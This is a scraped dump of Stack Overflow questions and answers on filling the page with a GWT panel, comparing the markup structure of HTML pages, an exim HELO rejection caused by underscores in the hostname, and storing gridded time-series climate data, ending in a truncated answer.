<p>I would like a panel in GWT to fill the page without actually having to set the size. Is there a way to do this? Currently I have the following:</p> <pre><code>public class Main implements EntryPoint { public void onModuleLoad() { HorizontalSplitPanel split = new HorizontalSplitPanel(); //split.setSize("250px", "500px"); split.setSplitPosition("30%"); DecoratorPanel dp = new DecoratorPanel(); dp.setWidget(split); RootPanel.get().add(dp); } } </code></pre> <p>With the previous code snippet, nothing shows up. Is there a method call I am missing?</p> <p>Thanks.</p> <hr> <p><strong>UPDATE Sep 17 '08 at 20:15</strong> </p> <p>I put some buttons (explicitly set their size) on each side and that still doesn't work. I'm really surprised there isn't like a FillLayout class or a setFillLayout method or setDockStyle(DockStyle.Fill) or something like that. Maybe it's not possible? But for as popular as GWT is, I would think it would be possible.</p> <p><strong>UPDATE Sep 18 '08 at 14:38</strong> </p> <p>I have tried setting the RootPanel width and height to 100% and that still didn't work. Thanks for the suggestion though, that seemed like it maybe was going to work. Any other suggestions??</p>
[ { "answer_id": 86996, "author": "Mike Monette", "author_id": 6166, "author_profile": "https://Stackoverflow.com/users/6166", "pm_score": 0, "selected": false, "text": "<p>I think you'll need to put something on the left and/or right of the split (split.setLeftWidget(widget), split.setRightWidget(widget) OR split.add(widget), which will add first to the left, then to the right) in order for anything to show up.</p>\n" }, { "answer_id": 88803, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Try setting the width and/or height of the rootpanel to 100% before adding your widget.</p>\n" }, { "answer_id": 97037, "author": "Drejc", "author_id": 6482, "author_profile": "https://Stackoverflow.com/users/6482", "pm_score": 0, "selected": false, "text": "<p>Panels automatically resize to the smallest visible width. So you must resize every panel you add to the RootPanel to 100% including your SplitPanel. The RootPanel itself does not need resizing. So try:</p>\n\n<pre><code>split.setWidth(\"100%\");\nsplit.setHeight(\"100%\");\n</code></pre>\n" }, { "answer_id": 104126, "author": "jgindin", "author_id": 17941, "author_profile": "https://Stackoverflow.com/users/17941", "pm_score": 0, "selected": false, "text": "<p>The documentation for <a href=\"http://google-web-toolkit.googlecode.com/svn/javadoc/1.5/com/google/gwt/user/client/ui/DecoratorPanel.html\" rel=\"nofollow noreferrer\">DecoratorPanel</a> says:</p>\n\n<blockquote>\n <p>If you set the width or height of the DecoratorPanel, you need to set the height and width of the middleCenter cell to 100% so that the middleCenter cell takes up all of the available space. If you do not set the width and height of the DecoratorPanel, it will wrap its contents tightly.</p>\n</blockquote>\n" }, { "answer_id": 456132, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>The problem is that DecoratorPanel middleCenter cell will fill tight on your contents as default, and SplitPanel doesn't allow \"100%\" style size setting. \nTo do what you want, set the table's style appropriately, on your CSS:</p>\n\n<p>.gwt-DecoratorPanel .middleCenter {\n height: 100%;\n width: 100%;\n }</p>\n" }, { "answer_id": 958857, "author": "Ben Bederson", "author_id": 114575, "author_profile": "https://Stackoverflow.com/users/114575", "pm_score": 5, "selected": true, "text": "<p>Google has answered the main part of your question in one of their FAQs:\n<a href=\"http://code.google.com/webtoolkit/doc/1.6/FAQ_UI.html#How_do_I_create_an_app_that_fills_the_page_vertically_when_the_b\" rel=\"nofollow noreferrer\">http://code.google.com/webtoolkit/doc/1.6/FAQ_UI.html#How_do_I_create_an_app_that_fills_the_page_vertically_when_the_b</a></p>\n\n<p>The primary point is that you can't set height to 100%, you must do something like this:</p>\n\n<pre><code>final VerticalPanel vp = new VerticalPanel();\nvp.add(mainPanel);\nvp.setWidth(\"100%\");\nvp.setHeight(Window.getClientHeight() + \"px\");\nWindow.addResizeHandler(new ResizeHandler() {\n\n public void onResize(ResizeEvent event) {\n int height = event.getHeight();\n vp.setHeight(height + \"px\");\n }\n});\nRootPanel.get().add(vp);\n</code></pre>\n" }, { "answer_id": 10723484, "author": "Brad", "author_id": 457488, "author_profile": "https://Stackoverflow.com/users/457488", "pm_score": 4, "selected": false, "text": "<p>Ben's answer is very good, but is also out of date. A resize handler was necessary in GWT 1.6, but we are at 2.4 now. You can use a <a href=\"http://google-web-toolkit.googlecode.com/svn/javadoc/2.0/com/google/gwt/user/client/ui/DockLayoutPanel.html\" rel=\"noreferrer\">DockLayoutPanel</a> to have your content fill the page vertically. See the <a href=\"http://gwt.google.com/samples/Mail/Mail.html\" rel=\"noreferrer\">sample mail app</a>, which uses this panel.</p>\n" }, { "answer_id": 31536000, "author": "Rafael Capretz", "author_id": 2195084, "author_profile": "https://Stackoverflow.com/users/2195084", "pm_score": 0, "selected": false, "text": "<p>For me it does not work if I just set the width like </p>\n\n<blockquote>\n <p>panel.setWidth(\"100%\");</p>\n</blockquote>\n\n<p>The panel is a VerticalPanel that it just got a randomly size that I don't know where it comes from. But what @Ben Bederson commented worked very well for me after I added the line:</p>\n\n<blockquote>\n <p>panel.setWidth(Window.getClientWidth() + \"px\"); </p>\n</blockquote>\n\n<p>Just this, nothing else. Thanks</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86901", "https://Stackoverflow.com", "https://Stackoverflow.com/users/10333/" ]
I would like a panel in GWT to fill the page without actually having to set the size. Is there a way to do this? Currently I have the following: ``` public class Main implements EntryPoint { public void onModuleLoad() { HorizontalSplitPanel split = new HorizontalSplitPanel(); //split.setSize("250px", "500px"); split.setSplitPosition("30%"); DecoratorPanel dp = new DecoratorPanel(); dp.setWidget(split); RootPanel.get().add(dp); } } ``` With the previous code snippet, nothing shows up. Is there a method call I am missing? Thanks. --- **UPDATE Sep 17 '08 at 20:15** I put some buttons (explicitly set their size) on each side and that still doesn't work. I'm really surprised there isn't like a FillLayout class or a setFillLayout method or setDockStyle(DockStyle.Fill) or something like that. Maybe it's not possible? But for as popular as GWT is, I would think it would be possible. **UPDATE Sep 18 '08 at 14:38** I have tried setting the RootPanel width and height to 100% and that still didn't work. Thanks for the suggestion though, that seemed like it maybe was going to work. Any other suggestions??
Google has answered the main part of your question in one of their FAQs: <http://code.google.com/webtoolkit/doc/1.6/FAQ_UI.html#How_do_I_create_an_app_that_fills_the_page_vertically_when_the_b> The primary point is that you can't set height to 100%, you must do something like this: ``` final VerticalPanel vp = new VerticalPanel(); vp.add(mainPanel); vp.setWidth("100%"); vp.setHeight(Window.getClientHeight() + "px"); Window.addResizeHandler(new ResizeHandler() { public void onResize(ResizeEvent event) { int height = event.getHeight(); vp.setHeight(height + "px"); } }); RootPanel.get().add(vp); ```
86,905
<p>In <a href="https://stackoverflow.com/questions/48669/are-there-any-tools-out-there-to-compare-the-structure-of-2-web-pages">this post</a> I asked if there were any tools that compare the structure (not actual content) of 2 HTML pages. I ask because I receive HTML templates from our designers, and frequently miss minor formatting changes in my implementation. I then waste a few hours of designer time sifting through my pages to find my mistakes. </p> <p>The thread offered some good suggestions, but there was nothing that fit the bill. "Fine, then", thought I, "I'll just crank one out myself. I'm a halfway-decent developer, right?".</p> <p>Well, once I started to think about it, I couldn't quite figure out how to go about it. I can crank out a data-driven website easily enough, or do a CMS implementation, or throw documents in and out of BizTalk all day. Can't begin to figure out how to compare HTML docs.</p> <p>Well, sure, I have to read the DOM, and iterate through the nodes. I have to map the structure to some data structure (how??), and then compare them (how??). It's a development task like none I've ever attempted.</p> <p>So now that I've identified a weakness in my knowledge, I'm even more challenged to figure this out. Any suggestions on how to get started?</p> <p>clarification: the actual <i>content</i> isn't what I want to compare -- the creative guys fill their pages with <i>lorem ipsum</i>, and I use real content. Instead, I want to compare structure:</p> <pre> &lt;div class="foo"&gt;lorem ipsum&lt;div&gt;</pre> <p>is different that</p> <pre> <br/>&lt;div class="foo"&gt;<br/>&lt;p&gt;lorem ipsum&lt;p&gt;<br/>&lt;div&gt;</pre>
[ { "answer_id": 86924, "author": "Mike", "author_id": 1115144, "author_profile": "https://Stackoverflow.com/users/1115144", "pm_score": -1, "selected": false, "text": "<p>Open each page in the browser and save them as .htm files. Compare the two using windiff.</p>\n" }, { "answer_id": 86951, "author": "Andy", "author_id": 3857, "author_profile": "https://Stackoverflow.com/users/3857", "pm_score": 1, "selected": false, "text": "<p>@Mike - that would compare everything, including the content of the page, which isn't want the original poster wanted.</p>\n\n<p>Assuming that you have access to the browser's DOM (by writing a Firefox/IE plugin or whatever), I would probably put all of the HTML elements into a tree, then compare the two trees. If the tag name is different, then the node is different. You might want to stop enumerating at a certain point (you probably don't care about span, bold, italic, etc. - maybe only worry about divs?), since some tags are really the content, rather than the structure, of the page.</p>\n" }, { "answer_id": 86955, "author": "Hank Gay", "author_id": 4203, "author_profile": "https://Stackoverflow.com/users/4203", "pm_score": 2, "selected": false, "text": "<p>The DOM is a data structure - it's a tree.</p>\n" }, { "answer_id": 87022, "author": "Martin08", "author_id": 8203, "author_profile": "https://Stackoverflow.com/users/8203", "pm_score": 0, "selected": false, "text": "<p>I don't know any tool but I know there is a simple way to do this: </p>\n\n<ul>\n<li>First, use a regular expression tool to strip off all the text in your HTML file. You can use this regular expression to search for the text (<code>?&lt;=^|&gt;)[^&gt;&lt;]+?(?=&lt;|$</code>) and replace them with an empty string (<code>\"\"</code>), i.e. delete all the text. After this step, you will have all HTML markup tags. There are a lot of free regular expression tools out there.</li>\n<li>Then, you repeat the first step for the original HTML file. </li>\n<li>Last, you use a diff tool to compare the two sets of HTML markups. This will show what is missing between one set and the other.</li>\n</ul>\n" }, { "answer_id": 87129, "author": "raldi", "author_id": 7598, "author_profile": "https://Stackoverflow.com/users/7598", "pm_score": 2, "selected": false, "text": "<p>Run both files through the following Perl script, then use diff -iw to do a case-insensitive, whitespace-ignoring diff.</p>\n\n<pre><code>#! /usr/bin/perl -w\n\nuse strict;\n\nundef $/;\n\nmy $html = &lt;STDIN&gt;;\n\nwhile ($html =~ /\\S/) {\n if ($html =~ s/^\\s*&lt;//) {\n $html =~ s/^(.*?)&gt;// or die \"malformed HTML\";\n print \"&lt;$1&gt;\\n\";\n } else {\n $html =~ s/^([^&lt;]+)//;\n print \"(text)\\n\";\n }\n}\n</code></pre>\n" }, { "answer_id": 87423, "author": "Danimal", "author_id": 2757, "author_profile": "https://Stackoverflow.com/users/2757", "pm_score": 0, "selected": false, "text": "<p>This has been an excellent start. A few more clarifications/comments:</p>\n\n<ul><li>I probably don't care about IDs, since .net will mangle them</li>\n<li> some of the structure will be in a repeater or other such control, so I might end up having more or fewer repeating elements</li>\n</ul>\n\n<p>further thought:\nI think a good start would be to assume the html is XHTML compliant. I could then infer the schema (using the new .net XmlSchemaInference methods), then diff the schemata. I can then look at the differences and consider whether or not they're significant. </p>\n" }, { "answer_id": 87582, "author": "RWendi", "author_id": 15152, "author_profile": "https://Stackoverflow.com/users/15152", "pm_score": 1, "selected": false, "text": "<p>If i was to tacke this issue I would do this:</p>\n\n<ol>\n<li>Plan for some kind of a DOM for html pages. starts at lightweight and then add more as needed. I would use composite pattern for the data structure. i.e. every element has children collection of the base class type.</li>\n<li>Create a parser to parse html pages.</li>\n<li>Using the parser load html element to the DOM.</li>\n<li>After the pages' been loaded up to the DOM, you have the hierachical snapshot of your html pages structure.</li>\n<li>Keep iterating through every element on both sides till the end of the DOM. You'll find the diff in the structure, when you hit a mismatched of element type.</li>\n</ol>\n\n<p>In your example you would have only a div element object loaded on one side, on the other side you would have a div element object loaded with 1 child element of type paragraph element. fire up your iterator, first you'll match up the div element, second iterator you'll match up paragraph with nothing. You've got your structural difference.</p>\n" }, { "answer_id": 92347, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 1, "selected": false, "text": "<p>I think some of the suggestions above don't take into account that there are other tags in the HTML between two pages which would be textually different, but the resulting HTML markup is functionally equivalent. Danimal lists control IDs as an example.</p>\n\n<p>The following two markups are functionlly identical, but would show up as different if you simply compared tags:</p>\n\n<pre><code>&lt;div id=\"ctl00_TopNavHome_DivHeader\" class=\"header4\"&gt;foo&lt;/div&gt;\n&lt;div class=\"header4\"&gt;foo&lt;/div&gt;\n</code></pre>\n\n<p>I was going to suggest Danimal write an HTML translation which looks for the HTML tags and converts both docs into a simplified version of both which omits ID tags and any other tags you designate as irrelevant. This’d likely have to be a work in progress, as you ignore certain attributes/tags and then run into new ones which you also want to ignore.</p>\n\n<p>However, I like the idea of using the XmlSchemaInterface to boil it down to the XML schema, then use a diff tool which understands XML rules.</p>\n" }, { "answer_id": 107949, "author": "RWendi", "author_id": 15152, "author_profile": "https://Stackoverflow.com/users/15152", "pm_score": 0, "selected": false, "text": "<p>My suggestion is just the basic way of doing it... Of course to tackle the issue you mentioned additional rules must be applied here... Which is in your case, we got a matching div element, and then apply attributes/property matching rules and what not...</p>\n\n<p>To be honest, there are many and complicated rules that need to be applied for the comparison, and its not just a simple matching element to another element. For example what happens if you have duplicates.\ne.g. 1 div element on one side, and 2 div element on the other side. How are you gonna match up which div elements matches together?</p>\n\n<p>There are alot other complicated issues that you will find in the comparison word. Im speaking based of experience (part of my job is to maitain my company text comparison engine).</p>\n" }, { "answer_id": 1006158, "author": "Ira Baxter", "author_id": 120163, "author_profile": "https://Stackoverflow.com/users/120163", "pm_score": 1, "selected": false, "text": "<p>See <a href=\"http://www.semdesigns.com/Products/SmartDifferencer/index.html\" rel=\"nofollow noreferrer\">http://www.semdesigns.com/Products/SmartDifferencer/index.html</a> for a tool that is parameterized by langauge grammar, and produces deltas in terms of language elements (identifiers, expressions, statements, blocks, methods, ...) inserted, deleted, moved, replaced, or has identifiers substituted across it consistently. This tool ignores whitespace reformatting (e.g., different linebreaks or layouts) and semantically indistinguishable values (e.g., it knows that 0x0F and 15 are the same value).\nThis can be applied to HTML using an HTML parser.</p>\n\n<p>EDIT: 9/12/2009. We've built an experimental SmartDiff tool using an HTML editor.</p>\n" }, { "answer_id": 1414638, "author": "RCIX", "author_id": 117069, "author_profile": "https://Stackoverflow.com/users/117069", "pm_score": -1, "selected": false, "text": "<p>If i were to do this, first i would learn HTML. (^-^) Then i would build a tool that strips out all of the actual content and then saves that as a file so it can be piped through WinDiff (or other merge tool).</p>\n" }, { "answer_id": 1414648, "author": "Heiko Hatzfeld", "author_id": 171613, "author_profile": "https://Stackoverflow.com/users/171613", "pm_score": 0, "selected": false, "text": "<p>Take a look at beyond compare. It has an XML comparison feature that can help you out. </p>\n" }, { "answer_id": 1414685, "author": "Nick", "author_id": 14072, "author_profile": "https://Stackoverflow.com/users/14072", "pm_score": 0, "selected": false, "text": "<p>You may also have to consider that the 'content' itself could contain additional mark-up so it's probably worth stripping out everything within certain elements (like <code>&lt;div&gt;</code>s with certain IDs or classes) before you do your comparison. For example:</p>\n\n<pre><code>&lt;div id=\"mainContent\"&gt;\n&lt;p&gt;lorem ipsum etc..&lt;/p&gt;\n&lt;/div&gt;\n</code></pre>\n\n<p>and</p>\n\n<pre><code>&lt;div id=\"mainContent\"&gt;\n&lt;p&gt;Here is some real content&lt;img class=\"someImage\" src=\"someImage.jpg\" /&gt;&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;and&lt;/li&gt;\n&lt;li&gt;some&lt;/li&gt;\n&lt;li&gt;more..&lt;/li&gt;\n&lt;/ul&gt;\n&lt;/div&gt;\n</code></pre>\n" }, { "answer_id": 2531933, "author": "hdhoang", "author_id": 303447, "author_profile": "https://Stackoverflow.com/users/303447", "pm_score": 0, "selected": false, "text": "<p>I would use (or contribute to) <code>html5lib</code> and its SAX output. Just zip through the 2 SAX streams looking for mismatches and highlight the whole corresponding subtree.</p>\n" }, { "answer_id": 3342360, "author": "Philipp", "author_id": 403218, "author_profile": "https://Stackoverflow.com/users/403218", "pm_score": 1, "selected": false, "text": "<p><a href=\"http://www.mugo.ca/Products/Dom-Diff\" rel=\"nofollow noreferrer\">http://www.mugo.ca/Products/Dom-Diff</a></p>\n\n<p>Works with FF 3.5. I haven't tested FF 3.6 yet.</p>\n" }, { "answer_id": 8762865, "author": "austincheney", "author_id": 1065429, "author_profile": "https://Stackoverflow.com/users/1065429", "pm_score": 0, "selected": false, "text": "<p>Pretty Diff can do this. It will compare the code structure only regardless of differences to white space, comments, or even content. Just be sure to check the option \"Normalize Content and String Literals\".</p>\n\n<p><a href=\"http://prettydiff.com/\" rel=\"nofollow\">http://prettydiff.com/</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/2757/" ]
In [this post](https://stackoverflow.com/questions/48669/are-there-any-tools-out-there-to-compare-the-structure-of-2-web-pages) I asked if there were any tools that compare the structure (not actual content) of 2 HTML pages. I ask because I receive HTML templates from our designers, and frequently miss minor formatting changes in my implementation. I then waste a few hours of designer time sifting through my pages to find my mistakes. The thread offered some good suggestions, but there was nothing that fit the bill. "Fine, then", thought I, "I'll just crank one out myself. I'm a halfway-decent developer, right?". Well, once I started to think about it, I couldn't quite figure out how to go about it. I can crank out a data-driven website easily enough, or do a CMS implementation, or throw documents in and out of BizTalk all day. Can't begin to figure out how to compare HTML docs. Well, sure, I have to read the DOM, and iterate through the nodes. I have to map the structure to some data structure (how??), and then compare them (how??). It's a development task like none I've ever attempted. So now that I've identified a weakness in my knowledge, I'm even more challenged to figure this out. Any suggestions on how to get started? clarification: the actual *content* isn't what I want to compare -- the creative guys fill their pages with *lorem ipsum*, and I use real content. Instead, I want to compare structure: ``` <div class="foo">lorem ipsum<div> ``` is different that ``` <div class="foo"> <p>lorem ipsum<p> <div> ```
The DOM is a data structure - it's a tree.
86,907
<p>I'm using exim on both the sending and relay hosts, the sending host seems to offer:</p> <pre><code>HELO foo_bar.example.com </code></pre> <p>Response: </p> <pre><code>501 Syntactically invalid HELO argument(s) </code></pre>
[ { "answer_id": 86953, "author": "benefactual", "author_id": 6445, "author_profile": "https://Stackoverflow.com/users/6445", "pm_score": 4, "selected": true, "text": "<p>Possibly a problem with underscores in the hostname?\n<a href=\"http://www.exim.org/lurker/message/20041124.113314.c44c83b2.en.html\" rel=\"noreferrer\">http://www.exim.org/lurker/message/20041124.113314.c44c83b2.en.html</a></p>\n" }, { "answer_id": 86994, "author": "MarkR", "author_id": 13724, "author_profile": "https://Stackoverflow.com/users/13724", "pm_score": 2, "selected": false, "text": "<p>Underscores aren't actually valid in internet host names, despite some people using them anyway. A sane DNS server should not allow you to have records for them.</p>\n\n<p>Change your system's host name so it's valid, hopefully this will fix it.</p>\n" }, { "answer_id": 89160, "author": "Jörg W Mittag", "author_id": 2988, "author_profile": "https://Stackoverflow.com/users/2988", "pm_score": 0, "selected": false, "text": "<p>The argument to <code>HELO</code> should be a hostname or an IP address. foo_bar.example.com is neither an IP address nor a hostname (underscores are illegal in hostnames), so the error message is correct and there is nothing to fix.</p>\n" }, { "answer_id": 8723533, "author": "Mazatec", "author_id": 220519, "author_profile": "https://Stackoverflow.com/users/220519", "pm_score": 0, "selected": false, "text": "<p>Using qmail I came across this problem. I realised this was because of a previously unfinished installation.</p>\n\n<p>1) When sending email qmail announces itself to other SMTP servers with \"HELO ...\" and then it adds what is in the file at: <code>/var/qmail/control/me</code> </p>\n\n<p>(sometimes the file is located at <code>/var/qmail/control/helohost</code>)</p>\n\n<p>2) This file should have a hostname with a valid DNS entry in.</p>\n\n<p>Mine did not it had <code>(none)</code> which is why mails were failing to be sent.</p>\n" }, { "answer_id": 36863784, "author": "Digao", "author_id": 2668689, "author_profile": "https://Stackoverflow.com/users/2668689", "pm_score": 1, "selected": false, "text": "<p>After spending so many hours trying to fix this problem, which in my case just come up from nothing, I ended up with a solution. In my case, only the systems deployed to Suse OSs suddenly stopped sending emails but not those ( the same ) running on Ubuntu. After exhausting and eliminating all the suggested <a href=\"https://confluence.atlassian.com/confkb/getting-501-syntactically-invalid-helo-argument-error-when-sending-mail-from-confluence-226790155.html\" rel=\"nofollow\">possibilities</a> of this problem and even considering to change de OS of those machines, I found out that somehow the send email service is sensible to the hostname of the host machine. In the Ubuntu machines the file /etc/hosts have only the following line: </p>\n\n<p><code>127.0.0.1 localhost</code></p>\n\n<p>and so were the Suse machines, which stopped sending the emails. After editing the /etc/hosts from Suse machines to</p>\n\n<p><code>127.0.0.1 localhost proplad</code> </p>\n\n<p>where proplad is the hostname of the machine, the errors were vanished. It seems that some security policy ( maybe from the smtp service ) uses the hostname information carried through the API, which was being ignored in the case of the Ubuntu machines, but not in the case of Suse machines. Hope this helps others, avoiding massive hours of research over the internet. </p>\n" }, { "answer_id": 37950125, "author": "Arnold", "author_id": 3634166, "author_profile": "https://Stackoverflow.com/users/3634166", "pm_score": 1, "selected": false, "text": "<p>Diago's answer helped me solve the problem I have been trying to figure out. </p>\n\n<p>Our Suse OS also stopped working out of nowhere. Tried every suggestion that I found here and on google. Nothing worked. Tried adding our domain to etc/hosts but that did not help. </p>\n\n<p>Got the hostname of server with the hostname command. Added that hostname to the etc/hosts file just like Digao suggested.</p>\n\n<pre><code>127.0.0.1 localhost susetest\n</code></pre>\n\n<p>I saved the changes, then ran postfix stop, postfix start. And works like a charm now.</p>\n" }, { "answer_id": 66546695, "author": "Kris", "author_id": 10069862, "author_profile": "https://Stackoverflow.com/users/10069862", "pm_score": 0, "selected": false, "text": "<p>I found that my local dev server suddenly stopped sending emails (using external SMTP) and on the server logs I found:</p>\n<blockquote>\n<p>rejected EHLO from cpc96762-*******.net [<strong>.</strong>.**.68]: syntactically invalid argument(s): 127.0.0.1:8888/app_dev.php</p>\n</blockquote>\n<p>127.0.0.1:8888/app_dev.php is my local URL, I am using Docker, Symfony and Swift Mailer.</p>\n<p>The only solution that helped in my case was adding the parameter:</p>\n<pre><code>local_domain = &quot;localhost&quot;\n</code></pre>\n<p>to my Swift Mailer configuration. That solved all the problems.</p>\n<p>See the docs for the Swift Mailer <code>local_domain</code> option: <a href=\"https://symfony.com/doc/current/reference/configuration/swiftmailer.html#local-domain\" rel=\"nofollow noreferrer\">https://symfony.com/doc/current/reference/configuration/swiftmailer.html#local-domain</a></p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86907", "https://Stackoverflow.com", "https://Stackoverflow.com/users/12850/" ]
I'm using exim on both the sending and relay hosts, the sending host seems to offer: ``` HELO foo_bar.example.com ``` Response: ``` 501 Syntactically invalid HELO argument(s) ```
Possibly a problem with underscores in the hostname? <http://www.exim.org/lurker/message/20041124.113314.c44c83b2.en.html>
86,913
<p>I have a variety of time-series data stored on a more-or-less georeferenced grid, e.g. one value per 0.2 degrees of latitude and longitude. Currently the data are stored in text files, so at day-of-year 251 you might see:</p> <pre><code>251 12.76 12.55 12.55 12.34 [etc., 200 more values...] 13.02 12.95 12.70 12.40 [etc., 200 more values...] [etc., 250 more lines] 252 [etc., etc.] </code></pre> <p>I'd like to raise the level of abstraction, improve performance, and reduce fragility (for example, the current code can't insert a day between two existing ones!). We'd messed around with BLOB-y RDBMS hacks and even replicating each line of the text file format as a row in a table (one row per timestamp/latitude pair, one column per longitude increment -- yecch!).</p> <p>We could go to a "real" geodatabase, but the overhead of tagging each individual value with a lat and long seems prohibitive. The size and resolution of the data haven't changed in ten years and are unlikely to do so.</p> <p>I've been noodling around with putting everything in NetCDF files, but think we need to get past the file mindset entirely -- I hate that all my software has to figure out filenames from dates, deal with multiple files for multiple years, etc.. The alternative, putting all ten years' (and counting) data into a single file, doesn't seem workable either.</p> <p>Any bright ideas or products?</p>
[ { "answer_id": 86961, "author": "jjrv", "author_id": 16509, "author_profile": "https://Stackoverflow.com/users/16509", "pm_score": 0, "selected": false, "text": "<p>I'd definitely change from text to binary but keep each day in a separate file still. You could name them in such a way that insertions in between don't cause any strangeness with indices, such as by including the date and possible time in the filename. You could also consider the file structure if you have several fields per location for example. Is it common to look for a small tile from a large number of timesteps? In that case you might want to store them as tiles containing data from several days. You didn't mention how the data is accessed which plays a big role in how to organise it efficiently.</p>\n" }, { "answer_id": 87065, "author": "Matt Cruikshank", "author_id": 8643, "author_profile": "https://Stackoverflow.com/users/8643", "pm_score": 0, "selected": false, "text": "<p>Clarifications:</p>\n\n<p>I'm surprised you added \"database\" as one of the tags, and considered it as an option. Why did you do this?</p>\n\n<p>Essentially, you have a 2D, single component floating point image at every time step. Would you agree with this way of viewing your data?</p>\n\n<p>You also mentioned the desire to insert a day between two existing ones - which seems to be a very odd thing to do. Why would you need to do that? Is there a new day between May 4 and May 5 that I don't know about?</p>\n\n<p>Is \"compression\" one of the things you care about, or are you just sick of flat files?</p>\n\n<p>Would a float or a double be sufficient to store your data, or do you feel you need more arbitrary precision?</p>\n\n<p>Also, what programming language(s) do you want to access this data with?</p>\n" }, { "answer_id": 87307, "author": "longneck", "author_id": 8250, "author_profile": "https://Stackoverflow.com/users/8250", "pm_score": 0, "selected": false, "text": "<p>your answer on how to store the data depends entirely on what you're going to do with the data. for example, if you only ever need to retrieve by specifying the date or a date range, then storing in a database as a BLOB makes some sense. but if you need to find records that have certain values, you'll need to do something different.</p>\n\n<p>please describe how you need to be able to access the data/</p>\n" }, { "answer_id": 90251, "author": "Matt Cruikshank", "author_id": 8643, "author_profile": "https://Stackoverflow.com/users/8643", "pm_score": 3, "selected": true, "text": "<p>I've assembled your comments here:</p>\n\n<ol>\n<li>I'd like to do all this \"w/o writing my own file I/O code\"</li>\n<li>I need access from \"Java Ruby MATLAB\" and \"FORTRAN routines\"</li>\n</ol>\n\n<p>When you add these up, you definitely don't want a new file format. <strong>Stick with the one you've got.</strong></p>\n\n<p>If we can get you to relax your first requirement - ie, if you'd be willing to write your own file I/O code, then there are some interesting options for you. I'd write C++ classes, and I'd use something like SWIG to make your new classes available to the multiple languages you need. (But I'm not sure you'd be able to use SWIG to give you access from Java, Ruby, MATLAB and FORTRAN. You might need something else. Not really sure how to do it, myself.)</p>\n\n<p>You also said, \"Actually, if I have to have files, I prefer text because then I can just go in and hand-edit when necessary.\"</p>\n\n<p>My belief is that this is a misguided statement. If you'd be willing to make your own file I/O routines then there are very clever things you could do... And as an ultimate fallback, you could give yourself a tool that converts from the new file format to the same old text format you're used to... And another tool that converts back. I'll come back to this at the end of my post...</p>\n\n<p>You said something that I want to address:</p>\n\n<p>\"leverage 40 yrs of DB optimization\"</p>\n\n<p>Databases are meant for relational data, not raster data. You will not leverage anyone's DB <strong>optimizations</strong> with this kind of data. You might be able to cram your data into a DB, but that's hardly the same thing.</p>\n\n<p><strong>Here's the most useful thing I can tell you, based on everything you've told us.</strong> You said this:</p>\n\n<p>\"I am more interested in optimizing <em>my</em> time than the CPU's, though exec speed is good!\"</p>\n\n<p>This is frankly going to require TOOLS. Stop thinking of it as a text file. Start thinking of the common tasks you do, and write small tools - in WHATEVER LANGAUGE(S) - to make those things TRIVIAL to do.</p>\n\n<p>And if your tools turn out to have lousy performance? Guess what - it's because your flat text file is a cruddy format. But that's just my opinion. :)</p>\n" }, { "answer_id": 93723, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 0, "selected": false, "text": "<p>Matt, thanks very much, and likewise longneck and jirv.</p>\n\n<p>This post was partly an experiment, testing the quality of stackoverflow discourse. If you guys/gals/alien lifeforms are representative, I'm sold. </p>\n\n<p>And on point, you've clarified my thinking considerably. Mind, I still might not necessarily <em>implement</em> your advice, but know that I will be <em>thinking</em> about it very seriously. >;-)</p>\n\n<p>I may very well leave the file format the same, add to the extant C and/or Ruby routines to tack on the few low-level features I lack (e.g. inserting missing timesteps), and hang an HTTP front end on the whole thing so that the data can be consumed by whatever box needs it, in whatever language is currently hoopy. While it's mostly unchanging legacy software that construct these data, we're always coming up with new consumers for it, so the multi-language/multi-computer requirement (gee, did I forget that one?) applies to the reading side, not the writing side. That also obviates a whole slew of security issues.</p>\n\n<p>Thanks again, folks.</p>\n" } ]
2008/09/17
[ "https://Stackoverflow.com/questions/86913", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have a variety of time-series data stored on a more-or-less georeferenced grid, e.g. one value per 0.2 degrees of latitude and longitude. Currently the data are stored in text files, so at day-of-year 251 you might see: ``` 251 12.76 12.55 12.55 12.34 [etc., 200 more values...] 13.02 12.95 12.70 12.40 [etc., 200 more values...] [etc., 250 more lines] 252 [etc., etc.] ``` I'd like to raise the level of abstraction, improve performance, and reduce fragility (for example, the current code can't insert a day between two existing ones!). We'd messed around with BLOB-y RDBMS hacks and even replicating each line of the text file format as a row in a table (one row per timestamp/latitude pair, one column per longitude increment -- yecch!). We could go to a "real" geodatabase, but the overhead of tagging each individual value with a lat and long seems prohibitive. The size and resolution of the data haven't changed in ten years and are unlikely to do so. I've been noodling around with putting everything in NetCDF files, but think we need to get past the file mindset entirely -- I hate that all my software has to figure out filenames from dates, deal with multiple files for multiple years, etc.. The alternative, putting all ten years' (and counting) data into a single file, doesn't seem workable either. Any bright ideas or products?
I've assembled your comments here: 1. I'd like to do all this "w/o writing my own file I/O code" 2. I need access from "Java Ruby MATLAB" and "FORTRAN routines" When you add these up, you definitely don't want a new file format. **Stick with the one you've got.** If we can get you to relax your first requirement - ie, if you'd be willing to write your own file I/O code, then there are some interesting options for you. I'd write C++ classes, and I'd use something like SWIG to make your new classes available to the multiple languages you need. (But I'm not sure you'd be able to use SWIG to give you access from Java, Ruby, MATLAB and FORTRAN. You might need something else. Not really sure how to do it, myself.) You also said, "Actually, if I have to have files, I prefer text because then I can just go in and hand-edit when necessary." My belief is that this is a misguided statement. If you'd be willing to make your own file I/O routines then there are very clever things you could do... And as an ultimate fallback, you could give yourself a tool that converts from the new file format to the same old text format you're used to... And another tool that converts back. I'll come back to this at the end of my post... You said something that I want to address: "leverage 40 yrs of DB optimization" Databases are meant for relational data, not raster data. You will not leverage anyone's DB **optimizations** with this kind of data. You might be able to cram your data into a DB, but that's hardly the same thing. **Here's the most useful thing I can tell you, based on everything you've told us.** You said this: "I am more interested in optimizing *my* time than the CPU's, though exec speed is good!" This is frankly going to require TOOLS. Stop thinking of it as 